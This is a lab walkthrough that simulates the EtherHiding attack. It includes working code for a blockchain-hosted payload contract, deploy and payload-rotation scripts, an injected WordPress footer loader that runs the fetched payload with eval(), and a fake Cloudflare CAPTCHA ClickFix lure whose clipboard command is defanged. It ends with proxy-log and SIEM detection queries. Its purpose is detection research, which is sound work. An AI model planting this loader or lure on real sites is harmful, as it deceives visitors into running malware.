What is EtherHiding ?
EtherHiding is a technique first documented by Guardio Labs in 2023 where attackers store malicious JavaScript payloads inside a blockchain smart contract instead of on a traditional attacker-controlled server. A compromised WordPress site injects a small loader into every page via the wp_footer hook. When a victim visits the page, their browser silently fetches the current payload from the blockchain via a JSON-RPC eth_call, then executes it with eval().
The key advantage for the attacker is resilience. A traditional C2 domain can be taken down or blocklisted within hours. A smart contract deployed on the Binance Smart Chain (BSC) cannot be removed by any third party, including Binance itself. The attacker only needs to call setPayload() to rotate their C2 domain or update their lure template — all compromised WordPress sites update simultaneously without the attacker ever touching them again.
The full attack chain from the victim's perspective looks like this:
1. Victim visits a legitimate but compromised WordPress site
2. Browser loads the page — wp_footer fires the injected loader
3. Loader makes a POST request to a BSC RPC endpoint via eth_call
4. Smart contract returns the current malicious payload (ABI-encoded string)
5. Loader decodes the ABI response and calls eval(payload)
6. Browser renders a fake Cloudflare Turnstile CAPTCHA (ClickFix lure)
7. Victim clicks the checkbox — clipboard is poisoned with a malicious PowerShell command
8. Victim follows Win+R instructions — malware executes on the host
The Smart Contract
The smart contract is the core of the technique. It stores the malicious payload as a state variable on the blockchain. Unlike a hardcoded return value in bytecode, a state variable can be updated by calling setPayload() without redeploying the contract — the contract address never changes, only the stored value does.
The contract is written in Solidity and compiled using Remix IDE at remix.ethereum.org. For the simulation we deploy to the Sepolia testnet rather than BSC Mainnet — functionally identical but using worthless test ETH.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract UpdateableHello {
string public payload;
address public owner;
constructor() {
owner = msg.sender;
payload = "Hello World v1";
}
function setPayload(string memory _payload) public {
require(msg.sender == owner, "Not authorized");
payload = _payload;
}
function getPayload() public view returns (string memory) {
return payload;
}
}
The
require(msg.sender == owner) check ensures only the deployer wallet can call
setPayload(). Anyone can call
getPayload() — which is exactly what the WordPress loader does from the victim's browser.
Key distinction between the two functions:
getPayload() is a
view function — it reads state, costs no gas, and is called via
eth_call. No signing required. Any anonymous HTTP client can call it.
setPayload() is a state-changing function — it writes to the blockchain. It requires a signed transaction (
eth_sendRawTransaction), costs gas, and requires the deployer's private key.
Once compiled in Remix, copy the ABI from the Solidity Compiler tab and the bytecode from Compilation Details → BYTECODE → object field.
Deploying the Contract (deploy.js)
The contract is deployed using Node.js and the ethers.js library. Remix's built-in deployment requires a browser wallet extension (MetaMask), which may not always be available. Using a Node.js script with a raw private key bypasses this dependency entirely.
First, generate a test wallet and fund it with free Sepolia ETH from Google Cloud Faucet:
node -e "const {ethers}=require('ethers'); const w=ethers.Wallet.createRandom(); console.log('Address:',w.address,'\nKey:',w.privateKey)"
Then create
deploy.js:
const { ethers } = require("ethers");
const ALCHEMY_KEY = "YOUR_ALCHEMY_API_KEY";
const PRIVATE_KEY = "0xYourPrivateKey";
const BYTECODE = "0x608060..."; // from Remix Compilation Details
const ABI = [
{ "inputs": [], "stateMutability": "nonpayable", "type": "constructor" },
{ "inputs": [], "name": "getPayload", "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" },
{ "inputs": [{ "internalType": "string", "name": "_payload", "type": "string" }], "name": "setPayload", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
{ "inputs": [], "name": "owner", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }
];
async function main() {
const provider = new ethers.JsonRpcProvider(
`https://eth-sepolia.g.alchemy.com/v2/${ALCHEMY_KEY}`
);
const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
console.log("Deploying from:", wallet.address);
const balance = await provider.getBalance(wallet.address);
console.log("Balance:", ethers.formatEther(balance), "ETH");
const factory = new ethers.ContractFactory(ABI, BYTECODE, wallet);
const contract = await factory.deploy();
console.log("Deploying... tx:", contract.deploymentTransaction().hash);
await contract.waitForDeployment();
const address = await contract.getAddress();
console.log("Deployed at:", address);
const result = await contract.getPayload();
console.log("getPayload():", result);
}
main().catch(console.error);
Run with:
npm init -y
npm install ethers
node deploy.js
The output will show the deployed contract address. This address is permanent on Sepolia — save it for all subsequent steps.
Note:
deploy.js calls
eth_sendRawTransaction under the hood — a real signed transaction that costs Sepolia ETH (worthless test currency). The private key signs the transaction locally; only the signed bytes are broadcast to the network. The key itself never leaves your machine.
Rotating the Payload (update.js)
Once deployed, the contract address never changes. The attacker updates the payload by calling setPayload() — this is a state-changing transaction that permanently updates the stored string on-chain. Every compromised WordPress loader automatically serves the new payload on the next page visit.
update.js reads the payload from a file to avoid one-liner limitations on complex HTML/JS content:
const { ethers } = require("ethers");
const fs = require("fs");
const ALCHEMY_KEY = "YOUR_ALCHEMY_API_KEY";
const PRIVATE_KEY = "0xYourPrivateKey";
const ABI = [
"function setPayload(string memory _payload) public",
"function getPayload() public view returns (string memory)"
];
async function updatePayload(contractAddress, newPayload) {
const provider = new ethers.JsonRpcProvider(
`https://eth-sepolia.g.alchemy.com/v2/${ALCHEMY_KEY}`
);
const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
const contract = new ethers.Contract(contractAddress, ABI, wallet);
const before = await contract.getPayload();
console.log("Current payload:", before);
const tx = await contract.setPayload(newPayload);
console.log("Transaction sent:", tx.hash);
await tx.wait();
console.log("Updated");
const after = await contract.getPayload();
console.log("New payload:", after);
}
const contractAddress = process.argv[2];
let newPayload;
if (process.argv[3] && process.argv[3].startsWith("file:")) {
const filePath = process.argv[3].replace("file:", "");
newPayload = fs.readFileSync(filePath, "utf8").trim();
} else {
newPayload = process.argv[3];
}
if (!contractAddress || !newPayload) {
console.error("Usage: node update.js <address> <payload>");
console.error(" node update.js <address> file:payload.js");
process.exit(1);
}
updatePayload(contractAddress, newPayload).catch(console.error);
To simulate C2 domain rotation, update the payload between visits:
node update.js 0xYourContract file:payload_v1.js # ClickFix lure v1
node update.js 0xYourContract file:payload_v2.js # Rotate to new lure
node update.js 0xYourContract file:payload_v3.js # Rotate again
Each update is visible on Sepolia Etherscan as a separate
setPayload() transaction. The input data field of each transaction, viewed as UTF-8, shows the payload in plaintext — exactly what analysts see when investigating EtherHiding on BSCScan.
WordPress wp_footer Injection
The wp_footer hook is an action hook in WordPress's core rendering lifecycle. It fires on every page, on every request, right before the closing </body> tag. Any callback registered to it renders its output into every page of the site automatically — which is why attackers target it. One injection point reaches every visitor.
In a real compromise, the attacker gains write access to functions.php via one of several paths: stolen wp-admin credentials and the Theme File Editor, a vulnerable plugin CVE granting remote code execution, FTP/SFTP credential compromise, or SQL injection directly into the wp_options database table. For this simulation we use a Docker-hosted WordPress instance and edit functions.php directly.
First, identify the active theme:
docker exec -it <container_name> wp theme list --allow-root --status=active
Then add the following to the active theme's
functions.php via Appearance → Theme File Editor → functions.php in wp-admin:
add_action('wp_footer', 'etherhiding_loader');
function etherhiding_loader() {
?>
<div id="status" style="position:fixed;bottom:10px;right:10px;background:#333;color:#fff;padding:10px;font-size:12px;z-index:9999;display:block;"></div>
<script>
(function() {
var CONTRACT_ADDRESS = "0xYourDeployedContractAddress";
var RPC_URL = "https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY";
var SELECTOR = "0x????????"; // keccak256("getPayload()") first 4 bytes
var status = document.getElementById("status");
status.textContent = "Fetching from blockchain...";
function decodeABIString(hexResult) {
var hex = hexResult.slice(2);
var length = parseInt(hex.slice(64, 128), 16);
var strHex = hex.slice(128, 128 + length * 2);
var bytes = strHex.match(/.{2}/g).map(function(b) {
return parseInt(b, 16);
});
return String.fromCharCode.apply(null, bytes);
}
fetch(RPC_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_call",
params: [{ to: CONTRACT_ADDRESS, data: SELECTOR }, "latest"],
id: 1
})
})
.then(function(r) { return r.json(); })
.then(function(data) {
var payload = decodeABIString(data.result);
status.textContent = "Payload received: " + payload;
console.log("[SIMULATION] Payload:", payload);
setTimeout(function() {
eval(payload);
}, 2000);
})
.catch(function(err) {
status.textContent = "Error: " + err.message;
console.error("[SIMULATION] Fetch failed:", err);
});
})();
</script>
<?php
}
To get the
getPayload() function selector, run:
node -e "const {ethers}=require('ethers'); console.log(ethers.id('getPayload()').slice(0,10))"
The function selector is the first 4 bytes of the keccak256 hash of the function signature string. It is deterministic — the same selector will be produced on any machine, for any contract, on any network, forever. This is how the EVM's function dispatcher identifies which function to execute when a contract call arrives.
The ClickFix Lure Payload
The payload stored in the smart contract is a JavaScript string that gets passed directly to eval(). It uses document.body.innerHTML to replace the entire page with a fake Cloudflare Turnstile CAPTCHA — the ClickFix lure.
Note: script tags injected via innerHTML do not execute — this is a browser security feature. The payload must be pure JavaScript executed via eval(), not HTML containing <script> tags.
Create payload.js:
document.body.innerHTML = `
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:Arial,sans-serif;background:#f6f6ef;min-height:100vh;
display:flex;flex-direction:column}
.cf-nav{background:#fff;border-bottom:1px solid #e5e7eb;padding:12px 24px;
display:flex;align-items:center}
.cf-nav span{font-size:15px;font-weight:600;color:#1d1d1b}
.content{flex:1;display:flex;align-items:center;justify-content:center;padding:40px 20px}
.box{background:#fff;border:1px solid #e5e7eb;border-radius:8px;
padding:36px 40px;max-width:420px;width:100%;text-align:center}
.box h1{font-size:20px;font-weight:600;color:#1d1d1b;margin-bottom:8px}
.box p{font-size:14px;color:#6b7280;margin-bottom:24px;line-height:1.6}
.turnstile{border:1px solid #e5e7eb;border-radius:4px;padding:14px 16px;
display:flex;align-items:center;gap:12px;margin-bottom:20px;
background:#fafafa;cursor:pointer}
.checkbox{width:24px;height:24px;border:2px solid #d1d5db;
border-radius:4px;background:#fff;flex-shrink:0}
.verify-btn{width:100%;padding:12px;background:#f97316;color:#fff;
border:none;border-radius:4px;font-size:15px;font-weight:600;
cursor:pointer;margin-bottom:16px;display:none}
.instructions{background:#fff8f1;border:1px solid #fed7aa;
border-radius:4px;padding:16px;text-align:left;display:none}
.instructions p{font-size:13px;color:#92400e;font-weight:600;margin-bottom:10px}
.step{display:flex;align-items:center;gap:10px;margin-bottom:8px;font-size:13px;color:#1d1d1b}
.step-num{width:22px;height:22px;border-radius:50%;background:#f97316;color:#fff;
font-size:11px;font-weight:700;display:flex;align-items:center;justify-content:center}
kbd{background:#f3f4f6;border:1px solid #d1d5db;border-radius:3px;
padding:1px 6px;font-size:12px;font-family:monospace}
</style>
<div class="cf-nav"><span>Cloudflare</span></div>
<div class="content"><div class="box">
<h1>Verify you are human</h1>
<p>This site is protected by Cloudflare. Complete the security challenge to continue.</p>
<div class="turnstile" onclick="verifyHuman()">
<div class="checkbox" id="cf-cb"></div>
<div style="flex:1;text-align:left;font-size:14px;color:#1d1d1b">I am human</div>
<span style="font-size:11px;color:#9ca3af">Cloudflare</span>
</div>
<button class="verify-btn" id="cf-btn" onclick="showSteps()">Verify</button>
<div class="instructions" id="cf-steps">
<p>Verification step 2 — Complete the security check:</p>
<div class="step"><div class="step-num">1</div><span>Press Win + R</span></div>
<div class="step"><div class="step-num">2</div><span>Press Ctrl + V</span></div>
<div class="step"><div class="step-num">3</div><span>Press Enter</span></div>
</div>
</div></div>
`;
// Attach event handlers after innerHTML is set
window.verifyHuman = function() {
var cb = document.getElementById('cf-cb');
cb.style.background = '#00b264';
cb.style.borderColor = '#00b264';
navigator.clipboard.writeText('SIMULATION_PAYLOAD_NOT_MALICIOUS');
setTimeout(function() {
document.getElementById('cf-btn').style.display = 'block';
}, 600);
};
window.showSteps = function() {
document.getElementById('cf-btn').style.display = 'none';
document.getElementById('cf-steps').style.display = 'block';
};
Deploy the payload to the contract:
node update.js 0xYourContractAddress file:payload.js
ABI Decoding the Response
The raw response from eth_call is an ABI-encoded hex string. Ethereum's ABI encoding for a string type always follows a three-chunk structure of 32 bytes (64 hex characters) each:
Chunk 1 (bytes 0-63): offset pointer — always 0x20 (32) for a single string return, indicating where the string data starts
Chunk 2 (bytes 64-127): string length in bytes, as a hex integer
Chunk 3 (bytes 128+): the actual UTF-8 bytes of the string, zero-padded to the next 32-byte boundary
0x
0000000000000000000000000000000000000000000000000000000000000020 // chunk 1: offset = 32
000000000000000000000000000000000000000000000000000000000000000e // chunk 2: length = 14
48656c6c6f20576f726c642076310000000000000000000000000000000000 // chunk 3: "Hello World v1"
The JavaScript decoder in the loader:
function decodeABIString(hexResult) {
var hex = hexResult.slice(2); // remove 0x prefix
var length = parseInt(hex.slice(64, 128), 16); // chunk 2: string length
var strHex = hex.slice(128, 128 + length * 2); // chunk 3: string bytes
var bytes = strHex.match(/.{2}/g).map(function(b) {
return parseInt(b, 16); // hex pair to byte value
});
return String.fromCharCode.apply(null, bytes); // bytes to string
}
Proxy Log Analysis
When a victim visits the compromised WordPress page, three distinct log entries appear in the proxy — chained by the same source IP and Referer header:
Request 1 — GET to the WordPress page (normal page load)
Request 2 — POST to the Alchemy/RPC endpoint (eth_call fetching the payload)
Request 3 — GET to google.com (eval() executes the redirect payload)
Request 2 is the detection signal. With SSL inspection enabled on Zscaler or a similar proxy, the POST body is visible and contains the full JSON-RPC payload:
POST https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY
Content-Type: application/json
Referer: http://your-wordpress-site/
{
"jsonrpc": "2.0",
"method": "eth_call",
"params": [{
"to": "0xYourContractAddress",
"data": "0x????????"
}, "latest"],
"id": 1
}
A browser making a POST request to a blockchain RPC endpoint from a WordPress page is highly anomalous in a corporate environment. No legitimate WordPress site has any reason to call Ethereum JSON-RPC endpoints.
Detection
The following detection strategies are ordered from highest to lowest confidence.
Network layer — POST to blockchain RPC endpoint from browser
The most reliable signal: a browser process making a POST request to a known blockchain RPC provider domain. Legitimate users do not browse to WordPress sites that call Ethereum nodes.
index=proxy
| where dest_domain IN (
"eth-sepolia.g.alchemy.com",
"eth-mainnet.g.alchemy.com",
"bsc-dataseed.binance.org",
"bsc-dataseed1.binance.org",
"mainnet.infura.io",
"rpc.ankr.com"
)
| where request_method="POST"
| where cs_referer LIKE "%wp-content%" OR cs_referer LIKE "%wordpress%"
| table _time, src_ip, src_user, dest_domain, cs_referer, request_body
Payload layer — eth_call method in POST body (requires SSL inspection)
index=proxy
| where request_method="POST"
| where match(request_body, "\"method\":\"eth_call\"")
| where NOT src_process IN ("known_dev_tools")
| table _time, src_ip, src_user, dest_domain, request_body
CrowdStrike — browser process making outbound connection to RPC domain
event_simpleName=DnsRequest
| where DomainName IN (
"bsc-dataseed.binance.org",
"eth-mainnet.g.alchemy.com",
"mainnet.infura.io"
)
| where ImageFileName NOT IN (
"node.exe","chrome.exe","firefox.exe","brave.exe"
)
| table timestamp, ComputerName, UserName, ImageFileName, DomainName
WordPress file integrity — functions.php modification
event_simpleName=FileCreate
| where TargetFileName LIKE "%functions.php%"
| where TargetFileName LIKE "%wp-content%themes%"
| where ImageFileName NOT IN (known_deploy_tools)
| table timestamp, ComputerName, ImageFileName, TargetFileName
Database content — wp_options injection (no file system footprint)
SELECT option_name, option_value
FROM wp_options
WHERE option_value REGEXP 'eval\(|atob\(|eth_call|fromCharCode|<script'
AND option_name IN ('widget_text','widget_custom_html')
OR option_name LIKE 'theme_mods_%';